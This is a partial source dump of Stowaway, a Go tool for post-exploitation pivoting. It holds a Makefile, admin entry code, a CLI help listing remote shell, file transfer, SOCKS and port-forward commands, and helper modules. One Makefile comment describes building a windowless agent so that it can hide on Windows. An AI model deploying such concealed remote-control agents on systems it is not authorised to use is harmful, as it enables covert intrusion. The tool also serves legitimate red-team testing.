The response has been limited to 50k tokens of the smallest files in the repo. You can remove this limitation by removing the max tokens filter.
├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── README_EN.md
├── admin
    ├── admin.go
    ├── admin_win.go
    ├── cli
    │   ├── cli.go
    │   ├── helper.go
    │   ├── history.go
    │   ├── interactive.go
    │   └── interactive_win.go
    ├── handler
    │   ├── backward.go
    │   ├── connect.go
    │   ├── file.go
    │   ├── forward.go
    │   ├── heartbeat.go
    │   ├── listen.go
    │   ├── memo.go
    │   ├── offline.go
    │   ├── shell.go
    │   ├── socks.go
    │   ├── ssh.go
    │   ├── sshtunnel.go
    │   └── status.go
    ├── initial
    │   ├── method.go
    │   ├── parser.go
    │   └── parser_win.go
    ├── manager
    │   ├── backward.go
    │   ├── forward.go
    │   ├── manager.go
    │   ├── others.go
    │   └── socks.go
    ├── printer
    │   └── printer.go
    ├── process
    │   ├── children.go
    │   ├── process.go
    │   └── process_win.go
    └── topology
    │   └── topology.go
├── agent
    ├── agent.go
    ├── handler
    │   ├── backward.go
    │   ├── connect.go
    │   ├── file.go
    │   ├── forward.go
    │   ├── listen.go
    │   ├── shell.go
    │   ├── socks.go
    │   ├── ssh.go
    │   └── sshtunnel.go
    ├── initial
    │   ├── method.go
    │   └── parser.go
    ├── manager
    │   ├── backward.go
    │   ├── children.go
    │   ├── forward.go
    │   ├── manager.go
    │   ├── others.go
    │   └── socks.go
    └── process
    │   ├── offline.go
    │   └── process.go
├── ansicon
    └── ansi189-bin.zip
├── crypto
    ├── aes.go
    └── gzip.go
├── global
    └── global.go
├── go.mod
├── go.sum
├── img
    └── logo.png
├── protocol
    ├── http.go
    ├── protocol.go
    ├── raw.go
    └── websocket.go
├── script
    └── reuse.py
├── share
    ├── file.go
    ├── preauth.go
    ├── proxy.go
    └── transport
    │   ├── tls.go
    │   └── wrapper.go
└── utils
    └── utils.go


/.gitignore:
--------------------------------------------------------------------------------
1 | release/
2 | .vscode/
3 | .DS_Store
4 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2021 ph4ntom
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
 1 | BUILD_ENV = CGO_ENABLED=0
 2 | OPTIONS = -trimpath -ldflags "-w -s"
 3 | 
 4 | .PHONY: all admin agent linux_agent windows_agent macos_agent mips_agent arm_agent windows_admin linux_admin macos_admin windows_nogui_agent freebsd_agent freebsd_admin clean
 5 | 
 6 | all: admin agent
 7 | 
 8 | admin:
 9 | 	${BUILD_ENV} GOOS=linux GOARCH=386 go build ${OPTIONS} -o release/linux_x86_admin admin/admin.go
10 | 	${BUILD_ENV} GOOS=linux GOARCH=amd64 go build ${OPTIONS} -o release/linux_x64_admin admin/admin.go
11 | 	${BUILD_ENV} GOOS=linux GOARCH=arm64 go build ${OPTIONS} -o release/linux_arm64_admin admin/admin.go
12 | 	${BUILD_ENV} GOOS=windows GOARCH=amd64 go build ${OPTIONS} -o release/windows_x64_admin.exe admin/admin_win.go
13 | 	${BUILD_ENV} GOOS=windows GOARCH=386 go build ${OPTIONS} -o release/windows_x86_admin.exe admin/admin_win.go
14 | 	${BUILD_ENV} GOOS=darwin GOARCH=amd64 go build ${OPTIONS} -o release/macos_x64_admin admin/admin.go
15 | 	${BUILD_ENV} GOOS=darwin GOARCH=arm64 go build ${OPTIONS} -o release/macos_arm64_admin admin/admin.go
16 | 	${BUILD_ENV} GOOS=freebsd GOARCH=386 go build ${OPTIONS} -o release/freebsd_x86_admin admin/admin.go
17 | 	${BUILD_ENV} GOOS=freebsd GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/freebsd_arm_admin admin/admin.go
18 | 
19 | agent:
20 | 	${BUILD_ENV} GOOS=linux GOARCH=386 go build ${OPTIONS} -o release/linux_x86_agent agent/agent.go
21 | 	${BUILD_ENV} GOOS=linux GOARCH=amd64 go build ${OPTIONS} -o release/linux_x64_agent agent/agent.go
22 | 	${BUILD_ENV} GOOS=linux GOARCH=arm64 go build ${OPTIONS} -o release/linux_arm64_agent agent/agent.go
23 | 	${BUILD_ENV} GOOS=windows GOARCH=amd64 go build ${OPTIONS} -o release/windows_x64_agent.exe agent/agent.go
24 | 	${BUILD_ENV} GOOS=windows GOARCH=386 go build ${OPTIONS} -o release/windows_x86_agent.exe agent/agent.go
25 | 	${BUILD_ENV} GOOS=darwin GOARCH=amd64 go build ${OPTIONS} -o release/macos_x64_agent agent/agent.go
26 | 	${BUILD_ENV} GOOS=darwin GOARCH=arm64 go build ${OPTIONS} -o release/macos_arm64_agent agent/agent.go
27 | 	${BUILD_ENV} GOOS=linux GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/arm_eabi5_agent agent/agent.go
28 | 	${BUILD_ENV} GOOS=linux GOARCH=mipsle go build ${OPTIONS} -o release/mipsel_agent agent/agent.go
29 | 	${BUILD_ENV} GOOS=freebsd GOARCH=386 go build ${OPTIONS} -o release/freebsd_x86_agent agent/agent.go
30 | 	${BUILD_ENV} GOOS=freebsd GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/freebsd_arm_agent agent/agent.go
31 | 
32 | linux_agent:
33 | 	${BUILD_ENV} GOOS=linux GOARCH=386 go build ${OPTIONS} -o release/linux_x86_agent agent/agent.go
34 | 	${BUILD_ENV} GOOS=linux GOARCH=amd64 go build ${OPTIONS} -o release/linux_x64_agent agent/agent.go
35 | 	${BUILD_ENV} GOOS=linux GOARCH=arm64 go build ${OPTIONS} -o release/linux_arm64_agent agent/agent.go
36 | 
37 | windows_agent:
38 | 	${BUILD_ENV} GOOS=windows GOARCH=amd64 go build ${OPTIONS} -o release/windows_x64_agent.exe agent/agent.go
39 | 	${BUILD_ENV} GOOS=windows GOARCH=386 go build ${OPTIONS} -o release/windows_x86_agent.exe agent/agent.go
40 | 
41 | macos_agent:
42 | 	${BUILD_ENV} GOOS=darwin GOARCH=amd64 go build ${OPTIONS} -o release/macos_x64_agent agent/agent.go
43 | 	${BUILD_ENV} GOOS=darwin GOARCH=arm64 go build ${OPTIONS} -o release/macos_arm64_agent agent/agent.go
44 | 
45 | mips_agent:
46 | 	${BUILD_ENV} GOOS=linux GOARCH=mipsle go build ${OPTIONS} -o release/mipsel_agent agent/agent.go
47 | 
48 | arm_agent:
49 | 	${BUILD_ENV} GOOS=linux GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/arm_eabi5_agent agent/agent.go
50 | 
51 | freebsd_agent:
52 | 	${BUILD_ENV} GOOS=freebsd GOARCH=386 go build ${OPTIONS} -o release/freebsd_x86_agent agent/agent.go
53 | 	${BUILD_ENV} GOOS=freebsd GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/freebsd_arm_agent agent/agent.go
54 | 
55 | windows_admin:
56 | 	${BUILD_ENV} GOOS=windows GOARCH=amd64 go build ${OPTIONS} -o release/windows_x64_admin.exe admin/admin_win.go
57 | 	${BUILD_ENV} GOOS=windows GOARCH=386 go build ${OPTIONS} -o release/windows_x86_admin.exe admin/admin_win.go
58 | 
59 | linux_admin:
60 | 	${BUILD_ENV} GOOS=linux GOARCH=386 go build ${OPTIONS} -o release/linux_x86_admin admin/admin.go
61 | 	${BUILD_ENV} GOOS=linux GOARCH=amd64 go build ${OPTIONS} -o release/linux_x64_admin admin/admin.go
62 | 	${BUILD_ENV} GOOS=linux GOARCH=arm64 go build ${OPTIONS} -o release/linux_arm64_admin admin/admin.go
63 | 
64 | macos_admin:
65 | 	${BUILD_ENV} GOOS=darwin GOARCH=amd64 go build ${OPTIONS} -o release/macos_x64_admin admin/admin.go
66 | 	${BUILD_ENV} GOOS=darwin GOARCH=arm64 go build ${OPTIONS} -o release/macos_arm64_admin admin/admin.go
67 | 
68 | freebsd_admin:
69 | 	${BUILD_ENV} GOOS=freebsd GOARCH=386 go build ${OPTIONS} -o release/freebsd_x86_admin admin/admin.go
70 | 	${BUILD_ENV} GOOS=freebsd GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/freebsd_arm_admin admin/admin.go
71 | 
72 | # Here is a special situation
73 | # You can see Stowaway get the params passed by the user through console by default
74 | # But if you define the params in the program(instead of passing them by the console),you can just run Stowaway agent by double-click
75 | # Sounds great? Right?
76 | # But it is slightly weird on Windows since double-clicking Stowaway agent or entering "shell" command in Stowaway admin will spawn a cmd window
77 | # That makes Stowaway pretty hard to hide itself
78 | # To solve this,here is my solution
79 | # First, check the detail in "agent/shell.go", follow my instruction and change some codes
80 | # Then, run `make windows_nogui_agent` and get your bonus!
81 | 
82 | windows_nogui_agent:
83 | 	${BUILD_ENV} GOOS=windows GOARCH=amd64 go build -trimpath -ldflags="-w -s -H=windowsgui" -o release/windows_x64_agent.exe agent/agent.go 
84 | 	${BUILD_ENV} GOOS=windows GOARCH=386 go build -trimpath -ldflags="-w -s -H=windowsgui" -o release/windows_x86_agent.exe agent/agent.go 
85 | 
86 | clean:
87 | 	@rm release/*


--------------------------------------------------------------------------------
/admin/admin.go:
--------------------------------------------------------------------------------
 1 | //go:build !windows
 2 | 
 3 | package main
 4 | 
 5 | import (
 6 | 	"net"
 7 | 	"os"
 8 | 	"runtime"
 9 | 
10 | 	"Stowaway/admin/cli"
11 | 	"Stowaway/admin/initial"
12 | 	"Stowaway/admin/printer"
13 | 	"Stowaway/admin/process"
14 | 	"Stowaway/admin/topology"
15 | 	"Stowaway/global"
16 | 	"Stowaway/protocol"
17 | 	"Stowaway/share"
18 | 
19 | 	"github.com/nsf/termbox-go"
20 | )
21 | 
22 | func init() {
23 | 	runtime.GOMAXPROCS(runtime.NumCPU())
24 | }
25 | 
26 | func main() {
27 | 	printer.InitPrinter()
28 | 
29 | 	termbox.Init()
30 | 	termbox.SetCursor(0, 0)
31 | 	termbox.Flush()
32 | 
33 | 	go listenCtrlC()
34 | 
35 | 	options := initial.ParseOptions()
36 | 
37 | 	cli.Banner()
38 | 
39 | 	share.GeneratePreAuthToken(options.Secret)
40 | 
41 | 	protocol.SetUpDownStream("raw", options.Downstream)
42 | 
43 | 	topo := topology.NewTopology()
44 | 	go topo.Run()
45 | 
46 | 	printer.Warning("[*] Waiting for new connection...\r\n")
47 | 	var conn net.Conn
48 | 	switch options.Mode {
49 | 	case initial.NORMAL_ACTIVE:
50 | 		conn = initial.NormalActive(options, topo, nil)
51 | 	case initial.NORMAL_PASSIVE:
52 | 		conn = initial.NormalPassive(options, topo)
53 | 	case initial.SOCKS5_PROXY_ACTIVE:
54 | 		proxy := share.NewSocks5Proxy(options.Connect, options.Socks5Proxy, options.Socks5ProxyU, options.Socks5ProxyP)
55 | 		conn = initial.NormalActive(options, topo, proxy)
56 | 	case initial.HTTP_PROXY_ACTIVE:
57 | 		proxy := share.NewHTTPProxy(options.Connect, options.HttpProxy)
58 | 		conn = initial.NormalActive(options, topo, proxy)
59 | 	default:
60 | 		printer.Fail("[*] Unknown Mode")
61 | 		os.Exit(0)
62 | 	}
63 | 
64 | 	// kill listenCtrlC
65 | 	termbox.Interrupt()
66 | 
67 | 	admin := process.NewAdmin(options, topo)
68 | 
69 | 	topoTask := &topology.TopoTask{
70 | 		Mode: topology.CALCULATE,
71 | 	}
72 | 	topo.TaskChan <- topoTask
73 | 	<-topo.ResultChan
74 | 
75 | 	global.InitialGComponent(conn, options.Secret, protocol.ADMIN_UUID)
76 | 
77 | 	admin.Run()
78 | }
79 | 
80 | // let process exit if nothing connected
81 | func listenCtrlC() {
82 | 	for {
83 | 		event := termbox.PollEvent()
84 | 		if event.Type == termbox.EventInterrupt {
85 | 			break
86 | 		}
87 | 
88 | 		if event.Key == termbox.KeyCtrlC {
89 | 			termbox.Close()
90 | 			os.Exit(0)
91 | 		}
92 | 	}
93 | }
94 | 


--------------------------------------------------------------------------------
/admin/admin_win.go:
--------------------------------------------------------------------------------
 1 | //go:build windows
 2 | 
 3 | package main
 4 | 
 5 | import (
 6 | 	"net"
 7 | 	"os"
 8 | 	"runtime"
 9 | 
10 | 	"Stowaway/admin/cli"
11 | 	"Stowaway/admin/initial"
12 | 	"Stowaway/admin/printer"
13 | 	"Stowaway/admin/process"
14 | 	"Stowaway/admin/topology"
15 | 	"Stowaway/global"
16 | 	"Stowaway/protocol"
17 | 	"Stowaway/share"
18 | )
19 | 
20 | func init() {
21 | 	runtime.GOMAXPROCS(runtime.NumCPU())
22 | }
23 | 
24 | func main() {
25 | 	printer.InitPrinter()
26 | 
27 | 	options := initial.ParseOptions()
28 | 
29 | 	cli.Banner()
30 | 
31 | 	share.GeneratePreAuthToken(options.Secret)
32 | 
33 | 	protocol.SetUpDownStream("raw", options.Downstream)
34 | 
35 | 	topo := topology.NewTopology()
36 | 	go topo.Run()
37 | 
38 | 	printer.Warning("[*] Waiting for new connection...\r\n")
39 | 	var conn net.Conn
40 | 	switch options.Mode {
41 | 	case initial.NORMAL_ACTIVE:
42 | 		conn = initial.NormalActive(options, topo, nil)
43 | 	case initial.NORMAL_PASSIVE:
44 | 		conn = initial.NormalPassive(options, topo)
45 | 	case initial.SOCKS5_PROXY_ACTIVE:
46 | 		proxy := share.NewSocks5Proxy(options.Connect, options.Socks5Proxy, options.Socks5ProxyU, options.Socks5ProxyP)
47 | 		conn = initial.NormalActive(options, topo, proxy)
48 | 	case initial.HTTP_PROXY_ACTIVE:
49 | 		proxy := share.NewHTTPProxy(options.Connect, options.HttpProxy)
50 | 		conn = initial.NormalActive(options, topo, proxy)
51 | 	default:
52 | 		printer.Fail("[*] Unknown Mode")
53 | 		os.Exit(0)
54 | 	}
55 | 
56 | 	admin := process.NewAdmin(options, topo)
57 | 
58 | 	topoTask := &topology.TopoTask{
59 | 		Mode: topology.CALCULATE,
60 | 	}
61 | 	topo.TaskChan <- topoTask
62 | 	<-topo.ResultChan
63 | 
64 | 	global.InitialGComponent(conn, options.Secret, protocol.ADMIN_UUID)
65 | 
66 | 	admin.Run()
67 | }
68 | 


--------------------------------------------------------------------------------
/admin/cli/cli.go:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * @Author: ph4ntom
 3 |  * @Date: 2021-03-08 14:44:07
 4 |  * @LastEditors: ph4ntom
 5 |  * @LastEditTime: 2021-03-18 15:59:02
 6 |  */
 7 | package cli
 8 | 
 9 | import (
10 | 	"fmt"
11 | )
12 | 
13 | const STOWAWAY_VERSION = "v2.2"
14 | 
15 | // Banner 程序图标
16 | func Banner() {
17 | 	fmt.Printf(`
18 |     .-')    .-') _                  ('\ .-') /'  ('-.      ('\ .-') /'  ('-.                 
19 |    ( OO ). (  OO) )                  '.( OO ),' ( OO ).-.   '.( OO ),' ( OO ).-.             
20 |    (_)---\_)/     '._  .-'),-----. ,--./  .--.   / . --. /,--./  .--.   / . --. /  ,--.   ,--.
21 |    /    _ | |'--...__)( OO'  .-.  '|      |  |   | \-.  \ |      |  |   | \-.  \    \  '.'  / 
22 |    \  :' '. '--.  .--'/   |  | |  ||  |   |  |,.-'-'  |  ||  |   |  |,.-'-'  |  | .-')     /  
23 |     '..'''.)   |  |   \_) |  |\|  ||  |.'.|  |_)\| |_.'  ||  |.'.|  |_)\| |_.'  |(OO  \   /   
24 |    .-._)   \   |  |     \ |  | |  ||         |   |  .-.  ||         |   |  .-.  | |   /  /\_  
25 |    \       /   |  |      ''  '-'  '|   ,'.   |   |  | |  ||   ,'.   |   |  | |  | '-./  /.__) 
26 |     '-----'    '--'        '-----' '--'   '--'   '--' '--''--'   '--'   '--' '--'   '--'      
27 | 			            { %s  Author:ph4ntom }
28 | `, STOWAWAY_VERSION)
29 | }
30 | 
31 | // ShowMainHelp 打印admin模式下的帮助
32 | func ShowMainHelp() {
33 | 	fmt.Print(`
34 | 	help                                     		Show help information
35 | 	detail                                  		Display connected nodes' detail
36 | 	topo                                     		Display nodes' topology
37 | 	use        <id>                          		Select the target node you want to use
38 | 	exit                                     		Exit Stowaway
39 |   `)
40 | }
41 | 
42 | // ShowNodeHelp 打印node模式下的帮助
43 | func ShowNodeHelp() {
44 | 	fmt.Print(`
45 | 	help                                            Show help information
46 | 	status                                          Show node status,including socks/forward/backward
47 | 	listen                                          Start port listening on current node
48 | 	addmemo    <string>                             Add memo for current node
49 | 	delmemo                                         Delete memo of current node
50 | 	ssh        <ip:port>                            Start SSH through current node
51 | 	shell                                           Start an interactive shell on current node
52 | 	socks      <lport> [username] [pass]            Start a socks5 server
53 | 	stopsocks                                       Shut down socks services
54 | 	connect    <ip:port>                            Connect to a new node
55 | 	sshtunnel  <ip:sshport> <agent port>            Use sshtunnel to add the node into our topology
56 | 	upload     <local filename> <remote filename>   Upload file to current node
57 | 	download   <remote filename> <local filename>   Download file from current node
58 | 	forward    <lport> <ip:port>                    Forward local port to specific remote ip:port
59 | 	stopforward                                     Shut down forward services
60 | 	backward    <rport> <lport>                     Backward remote port(agent) to local port(admin)
61 | 	stopbackward                                    Shut down backward services
62 | 	shutdown                                        Terminate current node
63 | 	back                                            Back to parent panel
64 | 	exit                                            Exit Stowaway
65 |   `)
66 | }
67 | 


--------------------------------------------------------------------------------
/admin/cli/helper.go:
--------------------------------------------------------------------------------
  1 | package cli
  2 | 
  3 | import (
  4 | 	"sort"
  5 | )
  6 | 
  7 | type Helper struct {
  8 | 	adminList []string
  9 | 	nodeList  []string
 10 | 
 11 | 	adminTree *tireTree
 12 | 	nodeTree  *tireTree
 13 | 
 14 | 	min int
 15 | 	max int
 16 | 
 17 | 	TaskChan   chan *HelperTask
 18 | 	ResultChan chan []string
 19 | }
 20 | 
 21 | type HelperTask struct {
 22 | 	IsNodeMode bool
 23 | 	Uncomplete string
 24 | }
 25 | 
 26 | type tireNode struct {
 27 | 	isEnd    bool
 28 | 	children map[int]*tireNode
 29 | }
 30 | 
 31 | type tireTree struct {
 32 | 	root *tireNode
 33 | }
 34 | 
 35 | func NewHelper() *Helper {
 36 | 	helper := new(Helper)
 37 | 	helper.adminList = []string{
 38 | 		"use",
 39 | 		"detail",
 40 | 		"topo",
 41 | 		"help",
 42 | 		"exit",
 43 | 	}
 44 | 
 45 | 	helper.nodeList = []string{
 46 | 		"help",
 47 | 		"status",
 48 | 		"listen",
 49 | 		"addmemo",
 50 | 		"delmemo",
 51 | 		"ssh",
 52 | 		"shell",
 53 | 		"socks",
 54 | 		"sshtunnel",
 55 | 		"connect",
 56 | 		"stopsocks",
 57 | 		"upload",
 58 | 		"download",
 59 | 		"forward",
 60 | 		"stopforward",
 61 | 		"backward",
 62 | 		"stopbackward",
 63 | 		"shutdown",
 64 | 		"back",
 65 | 		"exit",
 66 | 	}
 67 | 
 68 | 	helper.min = 0
 69 | 	helper.max = 11
 70 | 
 71 | 	helper.adminTree = new(tireTree)
 72 | 	helper.adminTree.root = new(tireNode)
 73 | 	helper.adminTree.root.children = make(map[int]*tireNode)
 74 | 
 75 | 	helper.nodeTree = new(tireTree)
 76 | 	helper.nodeTree.root = new(tireNode)
 77 | 	helper.nodeTree.root.children = make(map[int]*tireNode)
 78 | 
 79 | 	helper.TaskChan = make(chan *HelperTask)
 80 | 	helper.ResultChan = make(chan []string)
 81 | 
 82 | 	return helper
 83 | }
 84 | 
 85 | func (helper *Helper) Run() {
 86 | 	helper.insertAdmin()
 87 | 	helper.insertNode()
 88 | 
 89 | 	for {
 90 | 		task := <-helper.TaskChan
 91 | 		helper.ResultChan <- helper.search(task)
 92 | 	}
 93 | }
 94 | 
 95 | func (helper *Helper) insertAdmin() {
 96 | 	node := helper.adminTree.root
 97 | 	for _, command := range helper.adminList {
 98 | 		for i := 0; i < len(command); i++ {
 99 | 			currentChar := int(command[i])
100 | 			if _, ok := node.children[currentChar]; !ok {
101 | 				node.children[currentChar] = new(tireNode)
102 | 				node.children[currentChar].children = make(map[int]*tireNode)
103 | 				node = node.children[currentChar]
104 | 				continue
105 | 			} else {
106 | 				node = node.children[currentChar]
107 | 				continue
108 | 			}
109 | 		}
110 | 		node.isEnd = true
111 | 		node = helper.adminTree.root
112 | 	}
113 | }
114 | 
115 | func (helper *Helper) insertNode() {
116 | 	node := helper.nodeTree.root
117 | 	for _, command := range helper.nodeList {
118 | 		for i := 0; i < len(command); i++ {
119 | 			currentChar := int(command[i])
120 | 			if _, ok := node.children[currentChar]; !ok {
121 | 				node.children[currentChar] = new(tireNode)
122 | 				node.children[currentChar].children = make(map[int]*tireNode)
123 | 				node = node.children[currentChar]
124 | 				continue
125 | 			} else {
126 | 				node = node.children[currentChar]
127 | 				continue
128 | 			}
129 | 		}
130 | 		node.isEnd = true
131 | 		node = helper.nodeTree.root
132 | 	}
133 | }
134 | 
135 | func (helper *Helper) search(task *HelperTask) []string {
136 | 	var complete []string
137 | 	var samePrefix string
138 | 	var node *tireNode
139 | 
140 | 	if !task.IsNodeMode {
141 | 		node = helper.adminTree.root
142 | 	} else {
143 | 		node = helper.nodeTree.root
144 | 	}
145 | 
146 | 	unComplete := task.Uncomplete
147 | 
148 | 	if len(unComplete) < helper.min || len(unComplete) > helper.max {
149 | 		return complete
150 | 	}
151 | 
152 | 	for i := 0; i < len(unComplete); i++ {
153 | 		currentChar := int(unComplete[i])
154 | 		if _, ok := node.children[currentChar]; ok {
155 | 			samePrefix = samePrefix + string(unComplete[i])
156 | 			node = node.children[currentChar]
157 | 			continue
158 | 		} else {
159 | 			return complete
160 | 		}
161 | 	}
162 | 
163 | 	if samePrefix == "" {
164 | 		return complete
165 | 	}
166 | 
167 | 	var diffSuffix []string
168 | 	var tSuffix string
169 | 
170 | 	helper.getSuffix(node, &diffSuffix, tSuffix)
171 | 
172 | 	for _, suffix := range diffSuffix {
173 | 		complete = append(complete, samePrefix+suffix)
174 | 	}
175 | 
176 | 	sort.Strings(complete)
177 | 
178 | 	return complete
179 | }
180 | 
181 | func (helper *Helper) getSuffix(node *tireNode, suffix *[]string, tSuffix string) {
182 | 	if node.isEnd && len(node.children) != 0 {
183 | 		*suffix = append(*suffix, tSuffix)
184 | 	}
185 | 
186 | 	if len(node.children) != 0 {
187 | 		for char := range node.children {
188 | 			ttSuffix := tSuffix + string(char)
189 | 			tNode := node.children[char]
190 | 			helper.getSuffix(tNode, suffix, ttSuffix)
191 | 		}
192 | 	} else {
193 | 		*suffix = append(*suffix, tSuffix)
194 | 	}
195 | }
196 | 


--------------------------------------------------------------------------------
/admin/cli/history.go:
--------------------------------------------------------------------------------
  1 | package cli
  2 | 
  3 | import (
  4 | 	"container/list"
  5 | )
  6 | 
  7 | const (
  8 | 	// Mode
  9 | 	RECORD = iota
 10 | 	SEARCH
 11 | 	// Type
 12 | 	NORMAL
 13 | 	SHELL
 14 | 	SSH
 15 | 	// Order
 16 | 	BEGIN
 17 | 	PREV
 18 | 	NEXT
 19 | )
 20 | 
 21 | type History struct {
 22 | 	normal *historyList
 23 | 	shell  *historyList
 24 | 	ssh    *historyList
 25 | 
 26 | 	TaskChan   chan *HistoryTask
 27 | 	ResultChan chan string
 28 | }
 29 | 
 30 | type historyList struct {
 31 | 	storeList *list.List
 32 | 	now       *list.Element
 33 | 	capacity  int
 34 | }
 35 | 
 36 | type HistoryTask struct {
 37 | 	Mode    int
 38 | 	Type    int
 39 | 	Order   int
 40 | 	Command string
 41 | }
 42 | 
 43 | func NewHistory() *History {
 44 | 	history := new(History)
 45 | 	history.normal = new(historyList)
 46 | 	history.normal.storeList = list.New()
 47 | 	history.normal.capacity = 100
 48 | 
 49 | 	history.shell = new(historyList)
 50 | 	history.shell.storeList = list.New()
 51 | 	history.shell.capacity = 100
 52 | 
 53 | 	history.ssh = new(historyList)
 54 | 	history.ssh.storeList = list.New()
 55 | 	history.ssh.capacity = 100
 56 | 
 57 | 	history.TaskChan = make(chan *HistoryTask)
 58 | 	history.ResultChan = make(chan string)
 59 | 	return history
 60 | }
 61 | 
 62 | func (history *History) Run() {
 63 | 	for {
 64 | 		task := <-history.TaskChan
 65 | 		switch task.Mode {
 66 | 		case RECORD:
 67 | 			history.record(task)
 68 | 		case SEARCH:
 69 | 			history.search(task)
 70 | 		}
 71 | 	}
 72 | }
 73 | 
 74 | func (history *History) record(task *HistoryTask) {
 75 | 	switch task.Type {
 76 | 	case NORMAL:
 77 | 		history.normal.storeList.PushFront(task.Command)
 78 | 		if history.normal.storeList.Len() > history.normal.capacity*2 {
 79 | 			history.clean(task)
 80 | 		}
 81 | 	case SHELL:
 82 | 		history.shell.storeList.PushFront(task.Command)
 83 | 		if history.shell.storeList.Len() > history.shell.capacity*2 {
 84 | 			history.clean(task)
 85 | 		}
 86 | 	case SSH:
 87 | 		history.ssh.storeList.PushFront(task.Command)
 88 | 		if history.ssh.storeList.Len() > history.ssh.capacity*2 {
 89 | 			history.clean(task)
 90 | 		}
 91 | 	}
 92 | }
 93 | 
 94 | func (history *History) search(task *HistoryTask) {
 95 | 	switch task.Order {
 96 | 	case BEGIN:
 97 | 		switch task.Type {
 98 | 		case NORMAL:
 99 | 			if history.normal.storeList.Len() > 0 { // avoid list is empty
100 | 				history.normal.now = history.normal.storeList.Front()
101 | 			}
102 | 		case SHELL:
103 | 			if history.shell.storeList.Len() > 0 {
104 | 				history.shell.now = history.shell.storeList.Front()
105 | 			}
106 | 		case SSH:
107 | 			if history.ssh.storeList.Len() > 0 {
108 | 				history.ssh.now = history.ssh.storeList.Front()
109 | 			}
110 | 		}
111 | 	case PREV:
112 | 		switch task.Type {
113 | 		case NORMAL:
114 | 			if history.normal.now != nil && history.normal.now.Prev() != nil {
115 | 				history.normal.now = history.normal.now.Prev()
116 | 			}
117 | 		case SHELL:
118 | 			if history.shell.now != nil && history.shell.now.Prev() != nil {
119 | 				history.shell.now = history.shell.now.Prev()
120 | 			}
121 | 		case SSH:
122 | 			if history.ssh.now != nil && history.ssh.now.Prev() != nil {
123 | 				history.ssh.now = history.ssh.now.Prev()
124 | 			}
125 | 		}
126 | 	case NEXT:
127 | 		switch task.Type {
128 | 		case NORMAL:
129 | 			if history.normal.now != nil && history.normal.now.Next() != nil {
130 | 				history.normal.now = history.normal.now.Next()
131 | 			}
132 | 		case SHELL:
133 | 			if history.shell.now != nil && history.shell.now.Next() != nil {
134 | 				history.shell.now = history.shell.now.Next()
135 | 			}
136 | 		case SSH:
137 | 			if history.ssh.now != nil && history.ssh.now.Next() != nil {
138 | 				history.ssh.now = history.ssh.now.Next()
139 | 			}
140 | 		}
141 | 	}
142 | 
143 | 	switch task.Type {
144 | 	case NORMAL:
145 | 		if history.normal.now != nil {
146 | 			command := history.normal.now.Value.(string)
147 | 			history.ResultChan <- command
148 | 		}
149 | 		if history.normal.storeList.Len() == 0 { // avoid blocking the interactive panel if user press arrowup or arrowdown when no history node exists
150 | 			history.ResultChan <- ""
151 | 		}
152 | 	case SHELL:
153 | 		if history.shell.now != nil {
154 | 			command := history.shell.now.Value.(string)
155 | 			history.ResultChan <- command
156 | 		}
157 | 		if history.shell.storeList.Len() == 0 {
158 | 			history.ResultChan <- ""
159 | 		}
160 | 	case SSH:
161 | 		if history.ssh.now != nil {
162 | 			command := history.ssh.now.Value.(string)
163 | 			history.ResultChan <- command
164 | 		}
165 | 		if history.ssh.storeList.Len() == 0 {
166 | 			history.ResultChan <- ""
167 | 		}
168 | 	}
169 | }
170 | 
171 | func (history *History) clean(task *HistoryTask) {
172 | 	switch task.Type {
173 | 	case NORMAL:
174 | 		for elementsRemain := history.normal.storeList.Len() - history.normal.capacity; elementsRemain > 0; elementsRemain-- {
175 | 			element := history.normal.storeList.Back()
176 | 			history.normal.storeList.Remove(element)
177 | 		}
178 | 	case SHELL:
179 | 		for elementsRemain := history.shell.storeList.Len() - history.shell.capacity; elementsRemain > 0; elementsRemain-- {
180 | 			element := history.shell.storeList.Back()
181 | 			history.shell.storeList.Remove(element)
182 | 		}
183 | 	case SSH:
184 | 		for elementsRemain := history.ssh.storeList.Len() - history.ssh.capacity; elementsRemain > 0; elementsRemain-- {
185 | 			element := history.ssh.storeList.Back()
186 | 			history.ssh.storeList.Remove(element)
187 | 		}
188 | 	}
189 | }
190 | 


--------------------------------------------------------------------------------
/admin/handler/connect.go:
--------------------------------------------------------------------------------
 1 | package handler
 2 | 
 3 | import (
 4 | 	"Stowaway/admin/manager"
 5 | 	"Stowaway/admin/printer"
 6 | 	"Stowaway/global"
 7 | 	"Stowaway/protocol"
 8 | 	"Stowaway/utils"
 9 | )
10 | 
11 | func LetConnect(mgr *manager.Manager, route, uuid, addr string) error {
12 | 	normalAddr, _, err := utils.CheckIPPort(addr)
13 | 	if err != nil {
14 | 		return err
15 | 	}
16 | 
17 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
18 | 
19 | 	header := &protocol.Header{
20 | 		Sender:      protocol.ADMIN_UUID,
